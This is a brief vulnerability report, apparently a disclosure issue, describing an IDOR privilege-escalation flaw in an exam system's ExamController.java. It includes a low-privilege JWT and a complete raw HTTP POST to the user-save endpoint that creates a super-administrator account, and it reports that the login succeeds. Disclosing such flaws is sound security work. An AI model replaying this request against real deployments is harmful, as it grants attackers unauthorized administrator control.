[vulnerability] IDOR vertical overreach Vulnerability in ExamController.java

[x0blank]

IDOR vertical overreach Vulnerability in ExamController.java
1.Log in with student privileges，Get low-privilege user cookies

token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzIxOTYzMDAsInVzZXJuYW1lIjoidGVzdCJ9.ncdRy80InTK5kEbchFSKwHVXz5SnxjpoKlAyxGmtZ4Y
2.Vulnerability interface
Adding an Administrator Account

`POST /exam/api/sys/user/save HTTP/1.1
Host: 192.168.4.221:8101
Content-Length: 96
Accept: application/json, text/plain, /
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzIxOTYzMDAsInVzZXJuYW1lIjoidGVzdCJ9.ncdRy80InTK5kEbchFSKwHVXz5SnxjpoKlAyxGmtZ4Y
Content-Type: application/json
Origin: http://192.168.4.221:8101
Referer: http://192.168.4.221:8101/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"userName":"test1234","realName":"test1234","password":"test1234","departId":"","roles":["sa"]}`

Test Login

Login successful Super Administrator